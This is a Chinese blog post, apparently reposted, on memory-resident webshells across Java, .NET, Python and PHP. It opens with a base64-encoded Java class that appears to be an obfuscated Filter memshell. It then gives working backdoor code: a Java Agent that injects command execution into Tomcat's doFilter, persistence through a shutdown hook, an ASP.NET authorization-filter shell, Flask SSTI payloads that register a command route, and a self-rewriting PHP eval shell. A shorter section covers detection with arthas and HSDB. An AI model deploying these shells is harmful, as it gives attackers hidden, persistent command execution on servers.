vT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIKAAkAGQoAJQB0DADKAB0HAH4BAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgoAKwDQAQAJZ2V0UGFyZW50DAChAHwBAAZkZWxldGUKAE8AdwEABCgpW0MBAAdyZXBsYWNlCgCtAHoMACcASwEAA3NldAEADVN0YWNrTWFwVGFibGUBAARDb2RlCgACAH0KAC4AXgwAFQA/DAA9AEoKACUA0QcAVQEAD2phdmEvbGFuZy9DbGFzcwwAPQBaCgAlAMMMAEkAOgwAlwCUCgBPAHAMAGcAjgwAgQBBAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAPQBTAQACW0MBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UMAFAAgAwAsQB/CgByAJYBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CgACAHkMANkAgAEACXN1YnN0cmluZwwAxgBFBwClAQAGZXhpc3RzDABkAFIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAFihDQylMamF2YS9sYW5nL1N0cmluZzsKAC4AkgwAWwAdCgACAMwMAGIAHQEADGphdmEvaW8vRmlsZQEAFShMamF2YS9sYW5nL09iamVjdDspWgwARwBCDACgANoBAANhZGQKAE8AIgEAECgpTGphdmEvbmV0L1VSTDsHADwBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBABBqYXZhL2xhbmcvU3RyaW5nAQANZ2V0U3VwZXJjbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsHANsBAAtnZXRQcm9wZXJ0eQEAC25ld0luc3RhbmNlAQABYQEAB3ZhbHVlT2YMACgAUgEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uBwDHAQATW0xqYXZhL2xhbmcvU3RyaW5nOwwAtADSCgDeALMBABUoSSlMamF2YS9sYW5nL09iamVjdDsMACkAuwoA1wAZBwAtAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAE2phdmEvdXRpbC9BcnJheUxpc3QBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEACHRvU3RyaW5nBwDUDAA4AEMBAA1zZXRBY2Nlc3NpYmxlDAAkAK4MAIgAhQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC3RvQ2hhckFycmF5AQADZ2V0DAC5AI0BABFMamF2YS9sYW5nL0NsYXNzOwoAAgC2CgAlAKQMAKMAVgEADWdldFBhcmVudEZpbGUKAAkAyQEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkDAC/AC8MAD0AxAEAIyhMamF2YS9pby9GaWxlO0xqYXZhL2xhbmcvU3RyaW5nOylWAQADKClWAQAQZ2V0RGVjbGFyZWRGaWVsZAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgoA3gCJDAAjAJsBABRnZXRTeXN0ZW1DbGFzc0xvYWRlcgoALgC1DAAMAD8BAAV0b1VSTAEAClNvdXJjZUZpbGUKACUAjAwAMgB7DAAfAFIBAAQoWilWBwCnAQAUamF2YS9pby9TZXJpYWxpemFibGUMAIsAUgEACDxjbGluaXQ+BwANCgDeAIIBAAlnZXRNZXRob2QBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADGphdmEvbmV0L1VSSQEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgoABgC6BwBzBwDgAQAPT3ZlcmJyaWxsaWFudGx5ACEA3wDXAAAAAgAJAKIAHgAAAAkADwAeAAAAAgABAD0AxQABAGwAAAARAAEAAQAAAAUqtwCssQAAAAAACADWAMUAAQBsAAAL7QAIADAAAAa4ECu9AAI6BgM2BBIBWU62AJE2BRAYPQI8hAEBLRtZHGC2ALwCpwBgGQZfFQSEBAFfUxscYFk8FQWiAAwtG7YAFj2n/9cSA1lOtgCRNgUQFT0CPIQBAS0bWRxgtgC8A6cAJhkGXxUEhAQBX1MbHGBZPBUFogAMLRu2ABY9p//XGQZLpwCbX7YAG1m+XwM2B19aBKMAY1kVB1w0FQcQB3CqAAAAAEQAAAAAAAAABQAAACYAAAArAAAAMAAAADUAAAA6AAAAPxBApwAeEEOnABkQd6cAFBAppwAPEFGnAAoQV6cABRBCgpJVhAcBX1qaAAhcX6f/pl9aFQej/5y7AAJaX7cAbbYAN19XX6oAAP///x4AAAAAAAAAAP///1i4AGG2AD46CBkIKhAUMrYAyzoJGQgqEBsytgDLOgoZCCoIMrYAyzoLGQgqEBcytgDLOgwZCCoQJjK2AMs6DRkJKhAVMgO9AN62ABQZCQO9ANe2AGg6DhkOtgBXKhAiMgO9AN62ABQZDgO9ANe2AGg6DyoQGDI6ECoQCzI6EQE6EhkIKhAHMrYAyzoTGQgqAzK2AMs6FBkTKhAJMgO9AN62ABQZEwO9ANe2AGg6FRkUKhAMMgS9AN5ZAxICU7YAFBkVBL0A11kDGRFTtgBowAAFwAAFOhKnADg6ExkIKhAoMrYAyzoUGRQqEBoyBL0A3lkDEgJTtgAUGRQEvQDXWQMZEVO2AGjAAAXAAAU6EhkIKhApMrYAyyoQIzIHvQDeWQMSAlNZBBIFU1kFsgASU1kGsgASU7YA2DoTGRMEtgAmGRMZCAe9ANdZAxkQU1kEGRJTWQUDuABYU1kGGRK+uABYU7YAaMAA3joUGQq2AFE6FRkKKhAOMgS9AN5ZAxICU7YAFBkVBL0A11kDGRBTtgBoVxkKKhAhMrYAyDoWGRYEtgAaGRYZFRkQtgBEGQoqEBMytgDIOhcZFwS2ABoZFxkVGRS2AEQZD7YAVyoQCjIEvQDeWQMZClO2ABQZDwS9ANdZAxkVU7YAaFcZC7YAUToYGQsqEBIyA70A3rYAFBkYA70A17YAaDoZGQwqEBkyBL0A3lkDEgJTtgAUGRkEvQDXWQMqECQyU7YAaDoZGQwqEBAyA70A3rYAFBkZA70A17YAaFcZCioGMgS9AN5ZAxICU7YAFBkYBL0A11kDGRBTtgBoVxkWGRgZELYARBkXGRgZFLYARBkLKhAcMgS9AN5ZAxkIKhAgMrYAy1O2ABQZGAS9ANdZAxkPU7YAaFcBOhoZD7YAVyoQDTK2AMg6GqcAFjobGQ+2AFe2AAgqEB4ytgDIOhoZGgS2ABoZGhkPtgDdOhsZDSoQHTK2AMg6HBkcBLYAGhkcGRu2AN3AAE86HbsAT1kZHbYAEARgtwB4Oh4ZHhkYtgBlVwM2HxUfGR22ABCiABcZHhkdFR+2AJi2AGVXhB8Bp//mvxkcGRsZHrYARBkaGQ8ZG7YARAE6HxkPtgBXKgQytgDIOh+nABY6IBkPtgBXtgAIKhAIMrYAyDofGR8EtgAaGR8ZD7YA3TogGRwZILYA3cAATzohuwBPWRkhtgAQBGC3AHg6IhkiGRi2AGVXAzYjFSMZIbYAEKIAFxkiGSEVI7YAmLYAZVeEIwGn/+a/GRwZIBkitgBEGR8ZDxkgtgBEGQ+2AFcqBzIDvQDetgAUGQ8DvQDXtgBoV7sAJVkqEB8yuACEtwBdOiO7ACVZGSO7AAlZtwBcGRAQLhAvtgCGtgDAKhARMrYAwLYAHLcAdTokGSS2ADa2AHFXGSS2ADSaAA8ZJLYAvZkA8qcABL8ZCCoQJTK2AMs6JRklBL0A3lkDEgRTtgCpOiYZJgS2ACwZJgS9ANdZAxkjtgAhtgAgU7YAMDonuABuOigZKLYAj8YADRkotgCPOiin//EBOikZKLYAVzoqGSrGABwZKioFMrYAyDoppwAPOisZKrYACDoqp//lGSnGAHMZKQS2ABoSBioQBjK2AMg6KxkrBLYAGhkrGSkDtgAOGSkZKLYA3TosATotGSy2AFc6LhkuxgAdGS4qECoytgDIOi2nAA86LxkutgAIOi6n/+QZLcYAHRktBLYAGhktGSy2AN3AAE86LxkvGSe2AGVXpwAFOiMZDrYAVyoQDzIDvQDetgAUGQ4DvQDXtgBoOiMZI7YAVyoQFjIDvQDetgAUGSMDvQDXtgBowAACOiQZDrYAV7YACCoQJzIEvQDeWQMSAlO2ABQZDgS9ANdZAxkkU7YAaMAAAjoluwAlWRkltwBdtgDPV6cABToIsQAKAZwB8QH0AIoDvAPKA80ApgQnBEQERACKBFoEZwRqAKYFNAVNBVAAigSzBNAE0ACKBa4FuAW7AKYGAwYOBhEApgT8BjwGPwCaARwGsga1AJoAAQBrAAAE0wAu/wAYAAcAAQEHAAIBAQcA0wAATgcAAhwNTgcAAv8AHAAHAAAAAAAABwDTAAD/AAUABwABAQcAAgEBBwDTAAIHAAIB/wAPAAgAAQEHAAIBAQcA0wEAAwEBBwBf/wACAAgAAQEHAAIBAQcA0wEABQEBBwBfBwBfAf8ALAAIAAEBBwACAQEHANMBAAYBAQcAXwcAXwEB/wAEAAgAAQEHAAIBAQcA0wEABgEBBwBfBwBfAQH/AAQACAABAQcAAgEBBwDTAQAGAQEHAF8HAF8BAf8ABAAIAAEBBwACAQEHANMBAAYBAQcAXwcAXwEB/wAEAAgAAQEHAAIBAQcA0wEABgEBBwBfBwBfAQH/AAQACAABAQcAAgEBBwDTAQAGAQEHAF8HAF8BAf8ABAAIAAEBBwACAQEHANMBAAYBAQcAXwcAXwEB/wABAAgAAQEHAAIBAQcA0wEABwEBBwBfBwBfAQEB/wAPAAgAAQEHAAIBAQcA0wEAAwEBBwBf/wAnAAEHANMAAP8A1wATBwDTAAAAAAAAAAcALgAHAN4HAN4HAN4HAN4HANcHANcHAAIHAAIHAAUAAQcAiv8ANAAVBwDTAAAAAAAAAAcALgAHAN4HAN4HAN4HAN4HANcHANcHAAIABwAFBwCyBwDeAAD/AaMAGwcA0wAAAAAAAAAHAC4AAAAABwDeBwDXBwDXBwACAAAAAAAAAAcA1wAHAAYAAQcAphL/AEYAIAcA0wAAAAAAAAAHAC4AAAAAAAcA1wcA1wcAAgAAAAAAAAAHANcABwAGBwDXBwAGBwBPBwBPAQAA/wAcAAAAAQcAiv8AAAAgBwDTAAAAAAAAAAcALgAAAAAABwDXBwDXBwACAAAAAAAAAAcA1wAHAAYHANcHAAYABwBPAQAA/wAkACAHANMAAAAAAAAABwAuAAAAAAAHANcHANcHAAIAAAAAAAAABwDXAAAABwAGAAAHAAYAAQcAphL/ADUAJAcA0wAAAAAAAAAHAC4AAAAAAAcA1wcA1wcAAgAAAAAAAAAAAAAABwAGAAAHAAYHANcHAE8HAE8BAAD/ABwAAAABBwCK/wAAACQHANMAAAAAAAAABwAuAAAAAAAHANcHANcHAAIAAAAAAAAAAAAAAAcABgAABwAGBwDXAAcATwEAAP8AfgAPBwDTAAAAAAAAAAAAAAAAAAcA1wABBwCK/wAAACQHANMAAAAAAAAABwAuAAAAAAAHANcAAAAAAAAAAAAAAAAAAAAAAAAAAAcAJQAA/wA7ACkHANMAAAAAAAAAAAAAAAAABwDXAAAAAAAAAAAAAAAAAAAAAAAAAAAHACUAAAAHANcHAC4AABH9AAkHAAYHAN5RBwCm+gAL/wA2AC8HANMAAAAAAAAAAAAAAAAABwDXAAAAAAAAAAAAAAAAAAAAAAAAAAAHACUAAAAHANcAAAAABwDXBwAGBwDeAABSBwCm+gAL/wAeACQHANMAAAAAAAAAAAAAAAAABwDXAAAAAAAAAAAAAAAAAAAAAAAAAAAHACUAAP8AAgAPBwDTAAAAAAAAAAAAAAAAAAcA1wABBwCa/wABACQHANMAAAAAAAAAAAAAAAAABwDXAAAAAAAAAAAAAAAAAAAAAAAAAAAHALIAAP8AcwAAAAEHAJoBAAEAzgAAAAIAMw==";

首先将这串base64串转换成class文件,然后根据类名,在IDEA中粘成一个新的java文件,更改java文件中的报错(有一行return报错),分析一下代码结构,由于采用的是Java label跳出循环的方式,那么此处改为break label174。这样java文件不再报错,可以正常执行。

具体看一下样本,laabel169代表的循环,将截取后的字符串转成数组,将数组的每一位和长度为7的key进行异或。var72是异或后得到的字符串。即将截取的*"H"6)/Yk0$'vwSm44-$&转换成java.util.Base64$Decoder。关于异或加密XOR的内容可以看:http://www.ruanyifeng.com/blog/2017/05/xor.html

switch会判断字符串是否完成全部的遍历,如果完成全部的遍历,开始Filter的反射加载流程。

Java内存马自动化生成工具可以用:https://github.com/pen4uin/java-memshell-generator

Agent内存马

Java Agent 是一种在 JVM 启动时或运行时动态加载的工具,允许开发者在不修改源代码的情况下,对 Java 应用程序的字节码进行操作。Java Agent 通常在应用启动时通过命令行参数指定,或在运行时动态加载。Java Agent的核心是Instrumentation,它是Java提供的接口(从Java SE 5开始引入),允许代理程序(Agent)在类加载时或运行时修改、监控、或者增强字节码。

java.lang.instrument包结构如下

java.lang.instrument- ClassDefinition- ClassFileTransformer- IllegalClassFormatException- Instrumentation- UnmodifiableClassException

Agent 加载方式
Agent的加载可以是在JVM启动的时候,也可以是运行的时候。两种方法入口函数不同。

// 启动时加载
public static void premain(String agentArgs, Instrumentation inst);
public static void premain(String agentArgs);
// 运行时加载
public static void agentmain(String agentArgs, Instrumentation inst);
public static void agentmain(String agentArgs);

无论是这两种哪个Agent,都需要打成一个jar包,在ManiFest属性中指定Premain-Class或者Agent-Class。打成jar包后需要挂在到目标JVM上,如果是启动时加载就是-javaagent:[=],如果是运行时挂载,就需要做一些额外的开发。

Instrumentation 则通过 premainagentmain方法将要修改的字节码传递给代理程序Agent。

既然可以动态的修改某一个类的代码,那么对于Tomcat这些中间件应该改什么类呢?网上流传的是internalDoFilter,但是它是tomcat中的类,只适用于tomcat。后来冰蝎内置的内存马是写在了HttpServlet的service方法中,由于是JavaEE规范,相对来讲,能适用于更多的中间件。对应的Agent代码如下

import java.lang.instrument.*;
import javassist.*;
import java.io.IOException;
import java.security.ProtectionDomain;public class MyAgent implements ClassFileTransformer {public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";// 字节码转换逻辑实现@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) {// 将className格式化为标准格式className = className.replace('/', '.');if (className.equals(ClassName)) {ClassPool cp = ClassPool.getDefault();if (aClass != null) {ClassClassPath classPath = new ClassClassPath(aClass);cp.insertClassPath(classPath);}try {// 获取Class对象并对其修改CtClass cc = cp.get(className);CtMethod m = cc.getDeclaredMethod("doFilter");// 在 doFilter 方法的前面插入自定义代码m.insertBefore("javax.servlet.ServletRequest req = request;\n" +"javax.servlet.ServletResponse res = response;" +"String cmd = req.getParameter(\"cmd\");\n" +"if (cmd != null) {\n" +"Process process = Runtime.getRuntime().exec(cmd);\n" +"java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +"new java.io.InputStreamReader(process.getInputStream()));\n" +"StringBuilder stringBuilder = new StringBuilder();\n" +"String line;\n" +"while ((line = bufferedReader.readLine()) != null) {\n" +"stringBuilder.append(line + '\\n');\n" +"}\n" +"res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +"res.getOutputStream().flush();\n" +"res.getOutputStream().close();\n}");byte[] byteCode = cc.toBytecode();cc.detach();return byteCode;} catch (IOException | CannotCompileException | NotFoundException e) {e.printStackTrace();}}return new byte[0];}// JVM 启动时调用的 premain 方法public static void premain(String args, Instrumentation inst) throws Exception {System.out.println("Java Agent premain is running...");inst.addTransformer(new MyAgent(), true);}// 动态加载时调用的 agentmain 方法public static void agentmain(String args, Instrumentation inst) throws Exception {System.out.println("Java Agent agentmain is running...");inst.addTransformer(new MyAgent(), true);// 获取所有已加载的类Class[] loadedClasses = inst.getAllLoadedClasses();for (Class clazz : loadedClasses) {// 如果目标类已经加载,重新转换它if (clazz.getName().equals(ClassName)) {try {inst.retransformClasses(clazz);} catch (Exception e) {e.printStackTrace();}}}}
}

然后将这个Agent打包成jar文件。然后Attach操作,挂载到目标JVM上,执行加载Agent。具体的代码看:GitHub - ax1sX/MemShell: MemShell List

这里要对Agent内存马持久化补充一点。ShutdownHook也叫钩子函数,它允许开发人员插入JVM关闭时执行的一段代码。示例如下:

public class Hook {public static void main(String[] args) throws Exception{Runtime.getRuntime().addShutdownHook(new Thread() {@Overridepublic void run() {System.out.println("hook");}});System.out.println("public main over");}
}

main方法执行结束后会执行hook,所以rebeyond利用这种方式在服务器运行结束后,将inject.jaragent.jar写到磁盘上,然后调用startInject方法执行java -jar inject.jar,来解决一般内存马在服务器重启后不存在的情况,但是实战中一般要求木马可清楚,这种方式慎用。

 public static void persist() {try {Thread t = new Thread() {public void run() {try {writeFiles("inject.jar",Agent.injectFileBytes);writeFiles("agent.jar",Agent.agentFileBytes);startInject();} catch (Exception e) {}}};t.setName("shutdown Thread");Runtime.getRuntime().addShutdownHook(t);} catch (Throwable t) {}

Agent内存马查杀

很多防守方都问过一个问题,如何找到内存马?内存马存在于内存中,那么就需要从JVM中查找相应的Class。有两种常用的方式

(1)arthas
arthas是阿里开发的开源工具,链接:GitHub - alibaba/arthas: Alibaba Java Diagnostic Tool Arthas/Alibaba Java诊断利器Arthas
使用的话直接下载arthas-boot.jar即可:https://arthas.aliyun.com/arthas-boot.jar
可以在JDK6以上运行,主要功能包括:检查一个类是否被加载,或者类被加载到哪里(对于解决 jar 文件冲突很有用)、反编译一个类以确保代码按预期运行等。这两个功能对于内存马的查找很有意义。比如上述Agent内存马的注入选取了org.apache.catalina.core.ApplicationFilterChain类,那么可以通过arthas直接查看这个类的反编译结果是否包含恶意代码

arthas使用如下

java -jar arthas-boot.jar

启动工具后,根据显示出的线程,选取对应要查看的。

然后输入要查看的类名

[arthas@4035]$ sc org.apache.catalina.core.ApplicationFilterChain
[arthas@4035]$ jad org.apache.catalina.core.ApplicationFilterChain

输入sc ${需要检索的类名}查看相关的类名,输入jad ${包名},反编译class源码,可以看到此时的doFilter包含了恶意代码

如果想要下载Class文件,命令如下,然后jd-gui打开即可。

[arthas@4035]$ dump org.apache.catalina.core.ApplicationFilterChain

(2)HSDB(sa-jdi.jar)
HSDB(Hotspot Debugger),是一款内置于sa-jdi.jar中的 GUI 调试工具,可用于调试 JVM 运行时数据,从而进行故障排除。以下三种开启方式都可以。

sudo /Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/bin/java -cp /Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/lib/sa-jdi.jar sun.jvm.hotspot.HSDB
sudo java -cp ,:/Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/lib/sa-jdi.jar sun.jvm.hotspot.HSDB
sudo java -cp $JAVA_HOME/lib/sa-jdi.jar sun.jvm.hotspot.HSDB
选择file->Attach to Hotspot process ,然后输入process ID去Attach进程。但是Mac环境下可能出现Attach不成功的情况。

.NET内存马

.NET MVC内存马

.net处理请求与Java很类似,最早用aspx也看来处理请求(类似java中的jsp),后来发展到MVC开发框架,用Controller处理请求。创建一个ASP.NET Web Application。会发现程序默认注册了一个全局的Filter。关于.net Filter可以查看官方文档:Filters in ASP.NET Core | Microsoft Learn

官方文档中提到,最先执行的是Authorization filters。那么为了保证内存马的优先级,可以制作实现IAuthorizationFilter接口的Filter。该接口只有一个方法OnAuthorization。

<%@ Page Language="c#"%>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Web.Mvc" %>
<script runat="server">public class MyAuthFilter : IAuthorizationFilter{public void OnAuthorization(AuthorizationContext filterContext){String cmd = filterContext.HttpContext.Request.QueryString["cmd"];if (cmd != null){HttpResponseBase response = filterContext.HttpContext.Response;Process p = new Process();p.StartInfo.FileName = cmd;p.StartInfo.UseShellExecute = false;p.StartInfo.RedirectStandardOutput = true;p.StartInfo.RedirectStandardError = true;p.Start();byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());response.Write(System.Text.Encoding.Default.GetString(data));}Console.WriteLine("auth filter inject");}}
</script>
<%GlobalFilterCollection globalFilterCollection = GlobalFilters.Filters;globalFilterCollection.Add(new MyAuthFilter(), -2);
%>

在添加Filter时,设置了参数-2。这个参数代表order。默认的filter order是-1,order数值越小,优先级越高。所以为了提高内存马在系统中的优先级,这里设置-2。

除了MVC内存马,.net常见内存马还包含:HttpListener内存马、VirtualPath内存马、Route内存马

java web三大组件,servlet、filter、listener。在.net中也有一个listener被应用—HttpListener,微软官方对它的介绍:可以用这个类创建一个简单的HTTP协议侦听器来响应 HTTP 请求。其他的也可以看yzddmr6的博客,里面对.net的几个内存马有详细的介绍:

https://yzddmr6.com/posts/asp-net-memory-shell-httplistener/

Python内存马

现在网上常见的Python内存马都是针对Flask框架的。Flask框架下的SSTI漏洞demo如下

from flask import Flask, request, render_template_stringapp = Flask(__name__)@app.route('/')
def hello():person = 'axisx'if request.args.get('name'):person = request.args.get('name')template = '<h1>Hi, %s.</h1>' % personreturn render_template_string(template)if __name__ == '__main__':app.run()

Flask默认采用Jinja2作为模版引擎。而Jinja2会把一些传入的参数当作代码执行。常见的payload都用到了python的内置类属性。这是Python实现反射和动态编程的接口,允许在运行时检查和修改对象。常见的内置类属性如下

['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__']

内置类属性本身实现了反射的特性,也就是可以调用各个类中的方法。那么就需要找到python内置的一些能够实现文件读写的方法。常见的构造如下。例如用os的popen类

{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

反射先要获取到相应的类,这里"".__class__.__bases__通过自带的str类来获取基类Object类。然后获取Object类所有的子类列表,即python的内置类。再通过索引位置(很多文章中写的128,但是需要实际根据主机情况去更改这个索引号)获取相应的类。.__init__获取构造函数,.__globals__获取函数所在的全局命名空间(包含了类中的变量和方法)。能获取的类和方法很多,还有各种绕过沙盒限制的方式,这里就不再多说。Ps:__builtins__可以查找所有内置函数的名称。

回到内存马,核心是要向一个可访问的路由下写入一段恶意代码。此时我们已经实现了在Flask SSTi模版场景下实现恶意代码的构造,但是这个代码并没有实现持久化,需要伴随着每次SSTI的访问来攻击。例如在当前的py文件下插入如下恶意代码

@app.route('/e')
def e():os.system(request.args.get('cmd'))

flask有两种方式来生成路由,一种是@app.route(),一种是url_for()

@app.route实际调用的方法是add_url_rule()。另外需要说明,添加路由的方式不止这一种,常见的还包括:url_map.add()等

flask视图生成函数url_for,demo如下

@app.route('/url')
def url():# return redirect(url_for('url_f')) # 返回url_for success!return url_for('url_f') # 返回/u@app.route('/u')
def url_f():return 'url_for success!'

这个url_for函数中有个全局变量current_app。这个全局变量的获取方法是:{{url_for.__globals__['current_app'].__dict__}} 

利用url_for执行恶意poc

{{url_for.__globals__['__builtins__']['eval']("__import__('os').system('open -a Calculator')")}}
网上常见的内存马poc如下
{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}
)}}

上面这个lambda转成python函数大概长这样:

def shell():# 获取 cmd 参数值,如果没有则默认为 'whoami'cmd = _request_ctx_stack.top.request.args.get('cmd', 'whoami')result = os.popen(cmd).read()return result

用flask版本3.0.1在执行网上的内存马时会报如下错误

AssertionError: The setup method 'add_url_rule' can no longer be called on the application. It has already handled its first request, any changes will not be applied consistently.

根据调用栈的报错位置,定位如下。由于_got_first_request为True所以报了错

利用{{url_for.__globals__[%27current_app%27].__dict__}}查看当前Flask应用实例(current_app)所有的属性和值,包括了注册的路由函数、应用配置等信息。可以看到_got_first_request确实为True

所以后续针对较新版本的flask有改这个属性值的方式,还有利用其他路由注册函数的,例如before_request、after_request等。

这些都是flask框架下的内存马,基于Tornado、Django框架的内存马可以参考:Python Web 内存马多框架植入技术详解 | 天工实验室

PHP内存马

PHP内存马常见的有两种,一种是不死马,另一种是Fastcgi马。前者写一个死循环占据一个PHP进程,不间断的写入PHPShell。

不死马如下。PHP在执行脚本时会先将整个文件加载到内存,所以代码中在循环前执行了unlink(__FILE__)删除了文件。但循环会继续执行,不断在服务器上创建或覆盖一个config.php文件,并向其中写入恶意代码。

<?phpset_time_limit(0);ignore_user_abort(1);unlink(__FILE__);while (1) {$content = '<?php @eval($_POST["cmd"]) ?>';file_put_contents("config.php", $content);usleep(10000);}
?>

Fastcgi的基础知识如下。PHP请求处理的大致流程:

http请求 -> 服务器 -> nginx/apache -> 静态资源/动态资源 -> 动态资源用fastcgi协议 -> php-fpm处理请求

每当用户请求PHP页面时,Web服务器会启动一个单独的PHP CGI进程来处理这个请求,处理完成后进程关闭。这与将PHP作为Web服务器模块(如Apache中的mod_php)直接集成的模式不同。CGI(Common Gateway Interface,公共网关接口)是一种与语言无关的协议,可以在不同的服务器和操作系统之间提供兼容性,规范了传递给后方的数据格式。使用PHP CGI模式可以将PHP进程与Web服务器进程隔离。这些PHP进程由进程管理器(如php-fpm)来管理,它可以控制PHP进程的数量和资源分配。PHP CGI还支持FastCGI协议,这是CGI的增强版,提供了对PHP进程复用的支持。

FastCGI的特性之一就是可以通过环境变量将参数传递给PHP进程。但是如果利用环境变量修改了PHP配置选析那个,从而更改PHP的安全设置或者执行恶意的代码。

具体的FastCGI马方式参考:https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/php-fpm-memory-shell.md

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/651.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

串口接收,不定长数据接收

###1.CUBE-MX配置串口 2.我采用串口中断接收&#xff0c;打开中断接口 3.时钟同样8倍频&#xff0c;1分频&#xff0c;使用内部时钟 打开串口中断 main() { __HAL_UART_ENABLE_IT(&huart1, UART_IT_IDLE); // 启用空闲中断__HAL_UART_ENABLE_IT(&huart1, UART_IT_R…

CentOS 7 更换软件仓库

CentOS 7 于2024年6月30日停止维护&#xff0c;官方仓库已经没有软件了&#xff0c;想要继续使用 &#xff0c;需要更换软件仓库&#xff0c;这里更换到阿里云的软件仓库 https://developer.aliyun.com/mirror/ 查看目前可用的软件数量 yum repolist 更换软件仓库&#xff1a…

Gorilla Mk1机器人:CubeMars电机加持,助力高空作业新突破

在澳大利亚输电网络的高空作业领域&#xff0c;一款由Crest Robotics研发的创新机器人正悄然改变着工作方式。这款名为Gorilla Mk1的机器人&#xff0c;凭借先进的技术和精密的动力系统&#xff0c;在高压输电线路的维护和检修作业中提供了前所未有的安全性和高效性。而这背后&…

DDRPHY数字IC后端设计实现系列专题之后端设计导入,IO Ring设计

本章详细分析和论述了 LPDDR3 物理层接口模块的布图和布局规划的设计和实 现过程&#xff0c;包括设计环境的建立&#xff0c;布图规划包括模块尺寸的确定&#xff0c;IO 单元、宏单元以及 特殊单元的摆放。由于布图规划中的电源规划环节较为重要&#xff0c; 影响芯片的布线资…

Pinia-状态管理

Pinia-状态管理 特点&#xff1a; 1. 轻量和模块化 Pinia 是一个轻量级的状态管理库&#xff0c;支持模块化管理&#xff0c;即可以将应用的状态分成多个 store 以实现更好的组织。使用 Pinia&#xff0c;可以定义多个 store&#xff0c;每个 store 都是一个独立的模块&#x…

WPF界面控件Essential Studio for WPF更新至2024 v3,具有更高性能 | 附下载

Essential Studio for WPF界面控件包含了利于分析且高性能的Windows应用程序开发中所需的所有控件&#xff0c;如 grids、charts、gauges、menus、calendars、editors等等。同时&#xff0c;我们的文件格式库还允许您导出资料到Excel、World和PDF文件中&#xff0c;以及对这些格…

相关衍生 pika+mongo

衍生相关 pikamongo 很多平台不提供完整的数据展示, 翻页只能翻几页,不过提供相关推荐等方法可获取更多的数据; 使用 rabbitmq 是因为数据量可能有几十上百万, 且能持久化 mongo对于数据并不实时的更新到查询里 def main():# mongodb# client MongoClient(localhost, 27017)cl…

软件测试--BUG篇

博主主页: 码农派大星. 数据结构专栏:Java数据结构 数据库专栏:MySQL数据库 JavaEE专栏:JavaEE 软件测试专栏:软件测试 关注博主带你了解更多知识 目录 1. 软件测试的⽣命周期 2. BUG 1. BUG 的概念 2. 描述bug的要素 3.bug级别 4.bug的⽣命周期 5 与开发产⽣争执怎…

【Linux】————进程间通信(匿名管道)

作者主页&#xff1a; 作者主页 本篇博客专栏&#xff1a;Linux 创作时间 &#xff1a;2024年6月20日 进程间通信的目的&#xff1a; 数据传输&#xff1a;一个进程需要将它的数据发送给另一个进程资源共享&#xff1a;多个进程之间共享资源通知事件&#xff1a;一个进程需…

Android [调试方法]如何在编译日志中快速找出报错信息

问题描述&#xff1a; 在进行Android完整编译时&#xff0c;经常遇到各种编译导致编译失败的情况&#xff0c;但其日志信息的打印数量十分巨大&#xff0c;无法仔细阅读逐行阅读。对于不熟悉的方法的同学定位报错问题的位置往往需要耗费较长时间。因此本作者将较为典型的方法总…

论文阅读:Computational Long Exposure Mobile Photography (一)

